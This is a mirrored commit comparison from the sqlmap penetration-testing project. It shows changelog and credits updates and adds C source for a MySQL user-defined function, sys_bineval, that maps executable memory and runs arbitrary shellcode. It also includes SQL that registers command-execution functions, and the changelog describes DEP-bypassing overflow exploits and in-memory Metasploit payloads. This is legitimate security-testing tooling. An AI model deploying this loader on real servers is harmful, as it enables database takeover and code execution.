mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-08 05:31:32 +00:00
Compare commits
84 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
ce022a3b6e | ||
|
|
d55175a340 | ||
|
|
9c620da0a5 | ||
|
|
c1c14dabd9 | ||
|
|
e6c4154cac | ||
|
|
e4e081cdc6 | ||
|
|
a605980d66 | ||
|
|
b363f1c5ab | ||
|
|
e28b98a366 | ||
|
|
c332c72808 | ||
|
|
6e36a6f8ed | ||
|
|
4779a5fe0f | ||
|
|
1bf6a7cadc | ||
|
|
aa14bea051 | ||
|
|
e518ae82e4 | ||
|
|
bfd8128693 | ||
|
|
de68a499f5 | ||
|
|
bb123b2769 | ||
|
|
f1a7d095aa | ||
|
|
89c43893d4 | ||
|
|
458d59416c | ||
|
|
14578a7a4d | ||
|
|
17289c5ff2 | ||
|
|
e608a5ca55 | ||
|
|
19c6804ded | ||
|
|
2c98c11e80 | ||
|
|
45e3ce798f | ||
|
|
d905e5ef9f | ||
|
|
576cc97742 | ||
|
|
b2b2ec8a26 | ||
|
|
3d4bfb3263 | ||
|
|
b4fd71e8b9 | ||
|
|
8096a37940 | ||
|
|
cb3d2bac16 | ||
|
|
516fdb9356 | ||
|
|
24a3a23159 | ||
|
|
4b622ed860 | ||
|
|
0fc4587f02 | ||
|
|
ba2e009fd9 | ||
|
|
bc31bd1dd9 | ||
|
|
fd7de4bbb8 | ||
|
|
3b9303186e | ||
|
|
e5a01d500e | ||
|
|
32067cb676 | ||
|
|
03a6739fbf | ||
|
|
150abc0f1e | ||
|
|
3bca0d4b28 | ||
|
|
5ac2b0658c | ||
|
|
cfd8a83655 | ||
|
|
966f34f381 | ||
|
|
c7b72abc0e | ||
|
|
02f6425db8 | ||
|
|
93ee4a01e5 | ||
|
|
81d1a767ac | ||
|
|
8e7282f7c7 | ||
|
|
440a52b84d | ||
|
|
37d3b3adda | ||
|
|
13de8366d0 | ||
|
|
f7ee4d578e | ||
|
|
ef3846e0de | ||
|
|
45dff4a00a | ||
|
|
b463205544 | ||
|
|
06cc2a6d70 | ||
|
|
a727427299 | ||
|
|
c5d20b8a86 | ||
|
|
f3e8d6db70 | ||
|
|
ccedadd780 | ||
|
|
e8c115500d | ||
|
|
722ca8bf2f | ||
|
|
57b8bb4c8e | ||
|
|
58f3eee390 | ||
|
|
1d7de719b9 | ||
|
|
16b4530bbe | ||
|
|
5121a4dcba | ||
|
|
406d5df195 | ||
|
|
546a6c32e3 | ||
|
|
6f4035938b | ||
|
|
06e8546177 | ||
|
|
eeb34eb028 | ||
|
|
4ce74764b7 | ||
|
|
aec2419410 | ||
|
|
1af6898618 | ||
|
|
69259c5984 | ||
|
|
8e88b32274 |
@@ -1,3 +1,3 @@
|
|||||||
Bernardo Damele A. G. (inquis) - Lead developer
|
Bernardo Damele Assumpcao Guimaraes (inquis) - Lead developer
|
||||||
<bernardo.damele@gmail.com>
|
<bernardo.damele@gmail.com>
|
||||||
PGP Key ID: 0x05F5A30F
|
PGP Key ID: 0x05F5A30F
|
||||||
|
|||||||
@@ -1,3 +1,50 @@
|
|||||||
|
sqlmap (0.8rc1-1) stable; urgency=low
|
||||||
|
|
||||||
|
* Major enhancement to the Microsoft SQL Server stored procedure
|
||||||
|
heap-based buffer overflow exploit (--os-bof) to automatically bypass
|
||||||
|
DEP memory protection.
|
||||||
|
* Added support for MySQL and PostgreSQL to execute Metasploit shellcode
|
||||||
|
via UDF 'sys_bineval' (in-memory, anti-forensics technique) as an
|
||||||
|
option instead of uploading the standalone payload stager executable.
|
||||||
|
* Added options for MySQL, PostgreSQL and Microsoft SQL Server to
|
||||||
|
read/add/delete Windows registry keys.
|
||||||
|
* Added options for MySQL and PostgreSQL to inject custom user-defined
|
||||||
|
functions.
|
||||||
|
* Added support for --first and --last so the user now has even more
|
||||||
|
granularity in what to enumerate in the query output.
|
||||||
|
* Minor enhancement to save the session by default in
|
||||||
|
'output/hostname/session' file if -s option is not specified.
|
||||||
|
* Minor improvement to automatically remove sqlmap created temporary
|
||||||
|
files from the DBMS underlying file system.
|
||||||
|
* Minor bugs fixed.
|
||||||
|
* Major code refactoring.
|
||||||
|
|
||||||
|
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Mon, 21 Sep 2009 15:00:00 +0000
|
||||||
|
|
||||||
|
sqlmap (0.7-1) stable; urgency=low
|
||||||
|
|
||||||
|
* Adapted Metasploit wrapping functions to work with latest 3.3
|
||||||
|
development version too.
|
||||||
|
* Adjusted code to make sqlmap 0.7 to work again on Mac OSX too.
|
||||||
|
* Reset takeover OOB features (if any of --os-pwn, --os-smbrelay or
|
||||||
|
--os-bof is selected) when running under Windows because msfconsole
|
||||||
|
and msfcli are not supported on the native Windows Ruby interpreter.
|
||||||
|
This make sqlmap 0.7 to work again on Windows too.
|
||||||
|
* Minor improvement so that sqlmap tests also all parameters with no
|
||||||
|
value (eg. par=).
|
||||||
|
* HTTPS requests over HTTP proxy now work on either Python 2.4, 2.5 and
|
||||||
|
2.6+.
|
||||||
|
* Major bug fix to sql-query/sql-shell features.
|
||||||
|
* Major bug fix in --read-file option.
|
||||||
|
* Major silent bug fix to multi-threading functionality.
|
||||||
|
* Fixed the web backdoor functionality (for MySQL) when (usually) stacked
|
||||||
|
queries are not supported and --os-shell is provided.
|
||||||
|
* Fixed MySQL 'comment injection' version fingerprint.
|
||||||
|
* Fixed basic Microsoft SQL Server 2000 fingerprint.
|
||||||
|
* Many minor bug fixes and code refactoring.
|
||||||
|
|
||||||
|
-- Bernardo Damele A. G. <bernardo.damele@gmail.com> Sat, 25 Jul 2009 10:00:00 +0000
|
||||||
|
|
||||||
sqlmap (0.7rc1-1) stable; urgency=low
|
sqlmap (0.7rc1-1) stable; urgency=low
|
||||||
|
|
||||||
* Added support to execute arbitrary commands on the database server
|
* Added support to execute arbitrary commands on the database server
|
||||||
|
|||||||
1186
doc/README.html
1186
doc/README.html
File diff suppressed because it is too large
Load Diff
8741
doc/README.pdf
8741
doc/README.pdf
File diff suppressed because it is too large
Load Diff
1174
doc/README.sgml
1174
doc/README.sgml
File diff suppressed because it is too large
Load Diff
71
doc/THANKS
71
doc/THANKS
@@ -5,6 +5,9 @@ Chip Andrews <chip@sqlsecurity.com>
|
|||||||
at SQLSecurity.com and permission to implement the update feature
|
at SQLSecurity.com and permission to implement the update feature
|
||||||
taking data from his site
|
taking data from his site
|
||||||
|
|
||||||
|
Simon Baker <simonb@sec-1.com>
|
||||||
|
for reporting some bugs
|
||||||
|
|
||||||
Daniele Bellucci <daniele.bellucci@gmail.com>
|
Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||||
for starting sqlmap project and developing it between July and August
|
for starting sqlmap project and developing it between July and August
|
||||||
2006
|
2006
|
||||||
@@ -12,20 +15,32 @@ Daniele Bellucci <daniele.bellucci@gmail.com>
|
|||||||
Jack Butler <fattredd@hotmail.com>
|
Jack Butler <fattredd@hotmail.com>
|
||||||
for providing me with the sqlmap site favicon
|
for providing me with the sqlmap site favicon
|
||||||
|
|
||||||
|
Roberto Castrogiovanni <castrogiovanni.roberto@gmail.com>
|
||||||
|
for reporting a minor bug
|
||||||
|
|
||||||
Cesar Cerrudo <cesar@argeniss.com>
|
Cesar Cerrudo <cesar@argeniss.com>
|
||||||
for his Windows access token kidnapping tool Churrasco included in
|
for his Windows access token kidnapping tool Churrasco included in
|
||||||
sqlmap tree as a contrib library and used to run the stand-alone
|
sqlmap tree as a contrib library and used to run the stand-alone
|
||||||
payload stager on the target Windows machine as SYSTEM user if the
|
payload stager on the target Windows machine as SYSTEM user if the
|
||||||
user wants to perform a privilege escalation attack,
|
user wants to perform a privilege escalation attack,
|
||||||
http://www.argeniss.com/research/Churrasco.zip
|
http://www.argeniss.com/research/TokenKidnapping.pdf
|
||||||
|
|
||||||
Karl Chen <quarl@cs.berkeley.edu>
|
Karl Chen <quarl@cs.berkeley.edu>
|
||||||
for providing with the multithreading patch for the inference
|
for providing with the multithreading patch for the inference
|
||||||
algorithm
|
algorithm
|
||||||
|
|
||||||
Pierre Chifflier <pollux@debian.org>
|
Y P Chien <ypchien@cox.net>
|
||||||
for uploading the sqlmap 0.6.2 Debian package to the official Debian
|
for reporting a minor bug
|
||||||
project repository
|
|
||||||
|
Pierre Chifflier <pollux@debian.org> and Mark Hymers <ftpmaster@debian.org>
|
||||||
|
for uploading and accepting the sqlmap Debian package to the official
|
||||||
|
Debian project repository
|
||||||
|
|
||||||
|
Ulises U. Cune <ulises2k@gmail.com>
|
||||||
|
for reporting a bug
|
||||||
|
|
||||||
|
Alessandro Curio <alessandro.curio@gmail.com>
|
||||||
|
for reporting a minor bug
|
||||||
|
|
||||||
Stefano Di Paola <stefano.dipaola@wisec.it>
|
Stefano Di Paola <stefano.dipaola@wisec.it>
|
||||||
for suggesting good features
|
for suggesting good features
|
||||||
@@ -38,6 +53,11 @@ Dan Guido <dguido@gmail.com>
|
|||||||
Adam Faheem <faheem.adam@is.co.za>
|
Adam Faheem <faheem.adam@is.co.za>
|
||||||
for reporting a few bugs
|
for reporting a few bugs
|
||||||
|
|
||||||
|
James Fisher <www@sittinglittleduck.com>
|
||||||
|
for providing me with two very good feature requests
|
||||||
|
for his great tool too brute force directories and files names on
|
||||||
|
web/application servers, Dir Buster, http://tinyurl.com/dirbuster
|
||||||
|
|
||||||
Jim Forster <jimforster@goldenwest.com>
|
Jim Forster <jimforster@goldenwest.com>
|
||||||
for reporting a bug
|
for reporting a bug
|
||||||
|
|
||||||
@@ -57,6 +77,10 @@ Ivan Giacomelli <truemilk@insiberia.net>
|
|||||||
for suggesting a minor enhancement
|
for suggesting a minor enhancement
|
||||||
for reviewing the documentation
|
for reviewing the documentation
|
||||||
|
|
||||||
|
Oliver Gruskovnjak <oliver.gruskovnjak@gmail.com>
|
||||||
|
for reporting a bug
|
||||||
|
for providing me with a minor patch
|
||||||
|
|
||||||
Davide Guerri <d.guerri@caspur.it>
|
Davide Guerri <d.guerri@caspur.it>
|
||||||
for suggesting an enhancement
|
for suggesting an enhancement
|
||||||
|
|
||||||
@@ -71,26 +95,48 @@ Will Holcomb <wholcomb@gmail.com>
|
|||||||
for his MultipartPostHandler class to handle multipart POST forms and
|
for his MultipartPostHandler class to handle multipart POST forms and
|
||||||
permission to include it within sqlmap source code
|
permission to include it within sqlmap source code
|
||||||
|
|
||||||
|
Daniel Hückmann <sanitybit@gmail.com>
|
||||||
|
for reporting a minor bug
|
||||||
|
|
||||||
|
Mounir Idrassi <mounir.idrassi@idrix.net>
|
||||||
|
for his compiled version of UPX for Mac OS X
|
||||||
|
|
||||||
|
Dirk Jagdmann <doj@cubic.org>
|
||||||
|
for reporting a typo in the documentation
|
||||||
|
|
||||||
Luke Jahnke <luke.jahnke@gmail.com>
|
Luke Jahnke <luke.jahnke@gmail.com>
|
||||||
for reporting a bug when running against MySQL < 5.0
|
for reporting a bug when running against MySQL < 5.0
|
||||||
|
|
||||||
|
Sven Klemm <sven@c3d2.de>
|
||||||
|
for reporting two minor bugs with PostgreSQL
|
||||||
|
|
||||||
Anant Kochhar <anant.kochhar@secureyes.net>
|
Anant Kochhar <anant.kochhar@secureyes.net>
|
||||||
for providing me with feedback on the user's manual
|
for providing me with feedback on the user's manual
|
||||||
|
|
||||||
Alexander Kornbrust <ak@red-database-security.com>
|
Alexander Kornbrust <ak@red-database-security.com>
|
||||||
for reporting a couple of bugs
|
for reporting a couple of bugs
|
||||||
|
|
||||||
|
Nicolas Krassas <krasn@ans.gr>
|
||||||
|
for reporting a bug
|
||||||
|
|
||||||
Guido Landi <lists@keamera.org>
|
Guido Landi <lists@keamera.org>
|
||||||
|
for reporting a couple of bugs
|
||||||
for the great technical discussions
|
for the great technical discussions
|
||||||
for Microsoft SQL Server 2000 and Microsoft SQL Server 2005
|
for Microsoft SQL Server 2000 and Microsoft SQL Server 2005
|
||||||
'sp_replwritetovarbin' stored procedure heap-based buffer overflow
|
'sp_replwritetovarbin' stored procedure heap-based buffer overflow
|
||||||
(MS09-004) exploit development, http://www.milw0rm.com/author/1413
|
(MS09-004) exploit development
|
||||||
|
for presenting with me at SOURCE Conference 2009 in Barcelona (Spain)
|
||||||
|
on September 21, 2009
|
||||||
|
|
||||||
|
Lee Lawson <Lee.Lawson@dns.co.uk>
|
||||||
|
for reporting a minor bug
|
||||||
|
|
||||||
Nico Leidecker <nico@leidecker.info>
|
Nico Leidecker <nico@leidecker.info>
|
||||||
for providing me with feedback on a few features
|
for providing me with feedback on a few features
|
||||||
|
for reporting a couple of bugs
|
||||||
|
|
||||||
Gabriel Lima <pato@bugnet.com.br>
|
Gabriel Lima <pato@bugnet.com.br>
|
||||||
for reporting a bug
|
for reporting a couple of bugs
|
||||||
|
|
||||||
Pavol Luptak <pavol.luptak@nethemba.com>
|
Pavol Luptak <pavol.luptak@nethemba.com>
|
||||||
for reporting a bug when injecting on a POST data parameter
|
for reporting a bug when injecting on a POST data parameter
|
||||||
@@ -119,9 +165,16 @@ John F. Reiser <sales@bitwagon.com>
|
|||||||
Metasploit Framework 3 payload stager portable executable,
|
Metasploit Framework 3 payload stager portable executable,
|
||||||
http://upx.sourceforge.net
|
http://upx.sourceforge.net
|
||||||
|
|
||||||
|
Simone Onofri <simone.onofri@gmail.com>
|
||||||
|
for patching the PHP web backdoor to make it work properly also on
|
||||||
|
Windows
|
||||||
|
|
||||||
Antonio Parata <s4tan@ictsc.it>
|
Antonio Parata <s4tan@ictsc.it>
|
||||||
for providing me with some ideas for the PHP backdoor
|
for providing me with some ideas for the PHP backdoor
|
||||||
|
|
||||||
|
Adrian Pastor <ap@gnucitizen.org>
|
||||||
|
for donating to sqlmap development
|
||||||
|
|
||||||
Chris Patten <cpatten@sunera.com>
|
Chris Patten <cpatten@sunera.com>
|
||||||
for reporting a bug in the blind SQL injection bisection algorithm
|
for reporting a bug in the blind SQL injection bisection algorithm
|
||||||
|
|
||||||
@@ -213,6 +266,12 @@ fufuh <fufuh@users.sourceforge.net>
|
|||||||
mariano <marianoso@gmail.com>
|
mariano <marianoso@gmail.com>
|
||||||
for reporting a bug
|
for reporting a bug
|
||||||
|
|
||||||
|
pacman730 <pacman730@users.sourceforge.net>
|
||||||
|
for reporting a bug
|
||||||
|
|
||||||
|
Stuffe <stuffe.dk@gmail.com>
|
||||||
|
for reporting a minor bug and a feature request
|
||||||
|
|
||||||
Sylphid <sylphid.su@sti.com.tw>
|
Sylphid <sylphid.su@sti.com.tw>
|
||||||
for suggesting some features
|
for suggesting some features
|
||||||
|
|
||||||
|
|||||||
@@ -1,28 +1,26 @@
|
|||||||
#!/usr/bin/env python
|
#!/usr/bin/env python
|
||||||
|
|
||||||
"""
|
"""
|
||||||
dbgtool.py - Portable executable to ASCII debug script converter
|
dbgtool.py - Portable executable to ASCII debug script converter
|
||||||
Copyright (C) 2009 Bernardo Damele A. G.
|
Copyright (C) 2009 Bernardo Damele A. G.
|
||||||
web: http://bernardodamele.blogspot.com/
|
web: http://bernardodamele.blogspot.com/
|
||||||
email: bernardo.damele@gmail.com
|
email: bernardo.damele@gmail.com
|
||||||
|
|
||||||
This library is free software; you can redistribute it and/or
|
This library is free software; you can redistribute it and/or
|
||||||
modify it under the terms of the GNU Lesser General Public
|
modify it under the terms of the GNU Lesser General Public
|
||||||
License as published by the Free Software Foundation; either
|
License as published by the Free Software Foundation; either
|
||||||
version 2.1 of the License, or (at your option) any later version.
|
version 2.1 of the License, or (at your option) any later version.
|
||||||
|
|
||||||
This library is distributed in the hope that it will be useful,
|
This library is distributed in the hope that it will be useful,
|
||||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
|
||||||
Lesser General Public License for more details.
|
Lesser General Public License for more details.
|
||||||
|
|
||||||
You should have received a copy of the GNU Lesser General Public
|
You should have received a copy of the GNU Lesser General Public
|
||||||
License along with this library; if not, write to the Free Software
|
License along with this library; if not, write to the Free Software
|
||||||
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import os
|
import os
|
||||||
import sys
|
import sys
|
||||||
import struct
|
import struct
|
||||||
@@ -30,7 +28,6 @@ import struct
|
|||||||
from optparse import OptionError
|
from optparse import OptionError
|
||||||
from optparse import OptionParser
|
from optparse import OptionParser
|
||||||
|
|
||||||
|
|
||||||
def convert(inputFile):
|
def convert(inputFile):
|
||||||
fileStat = os.stat(inputFile)
|
fileStat = os.stat(inputFile)
|
||||||
fileSize = fileStat.st_size
|
fileSize = fileStat.st_size
|
||||||
@@ -73,8 +70,7 @@ def convert(inputFile):
|
|||||||
script += "w\r\nq\r\n"
|
script += "w\r\nq\r\n"
|
||||||
|
|
||||||
return script
|
return script
|
||||||
|
|
||||||
|
|
||||||
def main(inputFile, outputFile):
|
def main(inputFile, outputFile):
|
||||||
if not os.path.isfile(inputFile):
|
if not os.path.isfile(inputFile):
|
||||||
print 'ERROR: the provided input file \'%s\' is not a regular file' % inputFile
|
print 'ERROR: the provided input file \'%s\' is not a regular file' % inputFile
|
||||||
@@ -89,8 +85,7 @@ def main(inputFile, outputFile):
|
|||||||
sys.stdout.close()
|
sys.stdout.close()
|
||||||
else:
|
else:
|
||||||
print script
|
print script
|
||||||
|
|
||||||
|
|
||||||
if __name__ == '__main__':
|
if __name__ == '__main__':
|
||||||
usage = '%s -i <input file> [-o <output file>]' % sys.argv[0]
|
usage = '%s -i <input file> [-o <output file>]' % sys.argv[0]
|
||||||
parser = OptionParser(usage=usage, version='0.1')
|
parser = OptionParser(usage=usage, version='0.1')
|
||||||
|
|||||||
@@ -46,7 +46,8 @@ UPDATE udftest SET data=CONCAT(data,0x000000000000000004000000000000006500000001
|
|||||||
--
|
--
|
||||||
-- Note that /TODO/plugin DOES NOT
|
-- Note that /TODO/plugin DOES NOT
|
||||||
-- exist by default so it is NOT possible to save the SO in the proper
|
-- exist by default so it is NOT possible to save the SO in the proper
|
||||||
-- folder where MySQL server looks for SOs.
|
-- folder where MySQL server looks for SOs.
|
||||||
|
-- SHOW VARIABLES WHERE variable_name='plugin_dir';
|
||||||
--
|
--
|
||||||
-- References:
|
-- References:
|
||||||
-- http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
|
-- http://dev.mysql.com/doc/refman/5.1/en/create-function-udf.html
|
||||||
|
|||||||
@@ -3,4 +3,4 @@ LIBDIR=/usr/lib
|
|||||||
install:
|
install:
|
||||||
gcc -Wall -I/usr/include/mysql -O1 -shared src/lib_mysqludf_sys.c -o so/lib_mysqludf_sys.so
|
gcc -Wall -I/usr/include/mysql -O1 -shared src/lib_mysqludf_sys.c -o so/lib_mysqludf_sys.so
|
||||||
strip -sx so/lib_mysqludf_sys.so
|
strip -sx so/lib_mysqludf_sys.so
|
||||||
cp -f so/lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so
|
sudo cp -f so/lib_mysqludf_sys.so $(LIBDIR)/lib_mysqludf_sys.so
|
||||||
|
|||||||
@@ -25,9 +25,11 @@ DROP FUNCTION IF EXISTS sys_get;
|
|||||||
DROP FUNCTION IF EXISTS sys_set;
|
DROP FUNCTION IF EXISTS sys_set;
|
||||||
DROP FUNCTION IF EXISTS sys_exec;
|
DROP FUNCTION IF EXISTS sys_exec;
|
||||||
DROP FUNCTION IF EXISTS sys_eval;
|
DROP FUNCTION IF EXISTS sys_eval;
|
||||||
|
DROP FUNCTION IF EXISTS sys_bineval;
|
||||||
|
|
||||||
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
|
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||||
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
|
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||||
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
|
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||||
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
|
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||||
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
|
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.so';
|
||||||
|
CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.so';
|
||||||
|
|||||||
Binary file not shown.
@@ -23,6 +23,9 @@
|
|||||||
#define DLLEXP __declspec(dllexport)
|
#define DLLEXP __declspec(dllexport)
|
||||||
#else
|
#else
|
||||||
#define DLLEXP
|
#define DLLEXP
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <unistd.h>
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#ifdef STANDARD
|
#ifdef STANDARD
|
||||||
@@ -191,6 +194,33 @@ char* sys_eval(
|
|||||||
, char *error
|
, char *error
|
||||||
);
|
);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* sys_bineval
|
||||||
|
*
|
||||||
|
* executes bynary opcodes.
|
||||||
|
* Beware that this can be a security hazard.
|
||||||
|
*/
|
||||||
|
DLLEXP
|
||||||
|
my_bool sys_bineval_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
void sys_bineval_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
int sys_bineval(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
);
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
#ifdef __cplusplus
|
||||||
}
|
}
|
||||||
@@ -216,10 +246,12 @@ my_bool lib_mysqludf_sys_info_init(
|
|||||||
}
|
}
|
||||||
return status;
|
return status;
|
||||||
}
|
}
|
||||||
|
|
||||||
void lib_mysqludf_sys_info_deinit(
|
void lib_mysqludf_sys_info_deinit(
|
||||||
UDF_INIT *initid
|
UDF_INIT *initid
|
||||||
){
|
){
|
||||||
}
|
}
|
||||||
|
|
||||||
char* lib_mysqludf_sys_info(
|
char* lib_mysqludf_sys_info(
|
||||||
UDF_INIT *initid
|
UDF_INIT *initid
|
||||||
, UDF_ARGS *args
|
, UDF_ARGS *args
|
||||||
@@ -250,10 +282,12 @@ my_bool sys_get_init(
|
|||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void sys_get_deinit(
|
void sys_get_deinit(
|
||||||
UDF_INIT *initid
|
UDF_INIT *initid
|
||||||
){
|
){
|
||||||
}
|
}
|
||||||
|
|
||||||
char* sys_get(
|
char* sys_get(
|
||||||
UDF_INIT *initid
|
UDF_INIT *initid
|
||||||
, UDF_ARGS *args
|
, UDF_ARGS *args
|
||||||
@@ -305,6 +339,7 @@ my_bool sys_set_init(
|
|||||||
}
|
}
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
void sys_set_deinit(
|
void sys_set_deinit(
|
||||||
UDF_INIT *initid
|
UDF_INIT *initid
|
||||||
){
|
){
|
||||||
@@ -312,6 +347,7 @@ void sys_set_deinit(
|
|||||||
free(initid->ptr);
|
free(initid->ptr);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
long long sys_set(
|
long long sys_set(
|
||||||
UDF_INIT *initid
|
UDF_INIT *initid
|
||||||
, UDF_ARGS *args
|
, UDF_ARGS *args
|
||||||
@@ -352,10 +388,12 @@ my_bool sys_exec_init(
|
|||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void sys_exec_deinit(
|
void sys_exec_deinit(
|
||||||
UDF_INIT *initid
|
UDF_INIT *initid
|
||||||
){
|
){
|
||||||
}
|
}
|
||||||
|
|
||||||
my_ulonglong sys_exec(
|
my_ulonglong sys_exec(
|
||||||
UDF_INIT *initid
|
UDF_INIT *initid
|
||||||
, UDF_ARGS *args
|
, UDF_ARGS *args
|
||||||
@@ -382,10 +420,12 @@ my_bool sys_eval_init(
|
|||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void sys_eval_deinit(
|
void sys_eval_deinit(
|
||||||
UDF_INIT *initid
|
UDF_INIT *initid
|
||||||
){
|
){
|
||||||
}
|
}
|
||||||
|
|
||||||
char* sys_eval(
|
char* sys_eval(
|
||||||
UDF_INIT *initid
|
UDF_INIT *initid
|
||||||
, UDF_ARGS *args
|
, UDF_ARGS *args
|
||||||
@@ -422,5 +462,90 @@ char* sys_eval(
|
|||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
my_bool sys_bineval_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
){
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
#endif /* HAVE_DLOPEN */
|
void sys_bineval_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
){
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
int sys_bineval(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
){
|
||||||
|
int32 argv0_size;
|
||||||
|
size_t len;
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
int pID;
|
||||||
|
char *code;
|
||||||
|
#else
|
||||||
|
int *addr;
|
||||||
|
size_t page_size;
|
||||||
|
pid_t pID;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
argv0_size = strlen(args->args[0]);
|
||||||
|
len = (size_t)argv0_size;
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
// allocate a +rwx memory page
|
||||||
|
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||||
|
strncpy(code, args->args[0], len);
|
||||||
|
|
||||||
|
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||||
|
#else
|
||||||
|
pID = fork();
|
||||||
|
if(pID<0)
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
if(pID==0)
|
||||||
|
{
|
||||||
|
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||||
|
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||||
|
|
||||||
|
// mmap an rwx memory page
|
||||||
|
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||||
|
|
||||||
|
if (addr == MAP_FAILED)
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
strncpy((char *)addr, args->args[0], len);
|
||||||
|
|
||||||
|
((void (*)(void))addr)();
|
||||||
|
}
|
||||||
|
|
||||||
|
if(pID>0)
|
||||||
|
waitpid(pID, 0, WNOHANG);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||||
|
{
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
__asm
|
||||||
|
{
|
||||||
|
mov eax, [lpParameter]
|
||||||
|
call eax
|
||||||
|
}
|
||||||
|
}
|
||||||
|
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif /* HAVE_DLOPEN */
|
||||||
Binary file not shown.
@@ -25,9 +25,11 @@ DROP FUNCTION IF EXISTS sys_get;
|
|||||||
DROP FUNCTION IF EXISTS sys_set;
|
DROP FUNCTION IF EXISTS sys_set;
|
||||||
DROP FUNCTION IF EXISTS sys_exec;
|
DROP FUNCTION IF EXISTS sys_exec;
|
||||||
DROP FUNCTION IF EXISTS sys_eval;
|
DROP FUNCTION IF EXISTS sys_eval;
|
||||||
|
DROP FUNCTION IF EXISTS sys_bineval;
|
||||||
|
|
||||||
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.dll';
|
CREATE FUNCTION lib_mysqludf_sys_info RETURNS string SONAME 'lib_mysqludf_sys.dll';
|
||||||
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.dll';
|
CREATE FUNCTION sys_get RETURNS string SONAME 'lib_mysqludf_sys.dll';
|
||||||
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.dll';
|
CREATE FUNCTION sys_set RETURNS int SONAME 'lib_mysqludf_sys.dll';
|
||||||
CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.dll';
|
